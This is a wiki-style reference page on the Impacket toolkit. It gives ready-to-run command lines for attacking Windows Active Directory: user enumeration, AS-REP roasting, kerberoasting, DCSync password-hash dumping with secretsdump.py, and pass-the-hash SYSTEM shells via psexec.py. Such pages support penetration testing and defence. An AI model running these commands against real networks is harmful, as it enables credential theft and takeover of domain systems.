Impacket

Impacket is a collection of Python classes for working with network protocols — low-level, programmatic access to SMB1-3, MSRPC, Kerberos, LDAP, TDS/MSSQL, and more, with plain/NTLM/Kerberos auth via password, hash, or ticket. Originally created by SecureAuth, now maintained by Fortra’s Core Security. Ships with Kali Linux. Its examples/ scripts (GetUserSPNs.py, secretsdump.py, psexec.py, ntlmrelayx.py, …) are the de-facto Linux toolkit for attacking Windows / Active Directory networks. Windows-native counterpart: rubeus.

This page aggregates the Impacket recipes used against kerberos and AD; see each attack page for full technique treatment.

Enumeration

Domain users — GetADUsers.py

Requires an already-compromised account; pulls the user list via SAMR/LDAP.

GetADUsers.py -all ${DOMAIN}/${USER}:${PASSWORD} -dc-ip $DC_IP

Users with Kerberos pre-auth disabled — GetNPUsers.py

Two modes: with credentials, report every DONT_REQUIRE_PREAUTH account; without credentials, probe a user list and roast whatever answers. Full details on as-rep-roasting.

GetNPUsers.py ${DOMAIN}/${USER} -no-pass -dc-ip $DC_IP        # anonymous probe
GetNPUsers.py ${DOMAIN}/ -usersfile users.txt -dc-ip $DC_IP   # roast a list

Users with vulnerable SPNs — GetUserSPNs.py

Requires any valid domain credential. Identifies kerberoastable accounts and requests crackable TGS tickets. Full details on kerberoasting.

GetUserSPNs.py -request -dc-ip $DC_IP \
    ${DOMAIN}/${USER}:${PASSWORD} -save -outputfile $OUTFILE

If you hit Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great), sync time with the DC first: ntpdate $DC_IP.

Credential dumping — secretsdump.py

With a user holding replication rights (domain admin, or accounts granted the DS-Replication-Get-Changes(-All) privileges — i.e. DCSync), dumps all domain password hashes from the DC over DRSUAPI, no agent on the target:

secretsdump.py ${DOMAIN}/${USER}:${PASSWORD}@$DC_IP

Also extracts local SAM/SECURITY hives and cached logons when run against a member machine, and performs DCSync with just an NT hash (-hashes).

Kerberoasting

GetUserSPNs.py ${DOMAIN}/${USER}:${PASSWORD} -dc-ip $DC_IP -request

Outputs Hashcat-mode-13100 hashes directly. See kerberoasting.

AS-REP roasting

Specify the target as ${DOMAIN}/ (empty user part) with -usersfile, or a single user with -no-pass. See as-rep-roasting.

Remote execution — psexec.py

Impacket’s reimplementation of Sysinternals PsExec: uploads a service binary over SMB, creates/starts a service via SCMR, returns a SYSTEM shell. On Linux (not Windows) you can pass an NT hash instead of a password:

psexec.py -hashes :$NT_HASH ${DOMAIN}/${USER}@$TARGET_HOST

Sibling tools with the same auth model: wmiexec.py (quieter, no service binary), smbexec.py, atexec.py, dcomexec.py.

Related

• ntlm-relay-attacks — ntlmrelayx.py is Impacket’s other centerpiece
• crackmapexec — wraps many Impacket primitives behind a uniform CLI
• evil-winrm — alternate shell once creds/hashes are in hand

Sources

• fortra/impacket
• Impacket Examples Directory | fortra/impacket
• Impacket | SecureAuth Labs (redirected)
• PsExec - Sysinternals | Microsoft Learn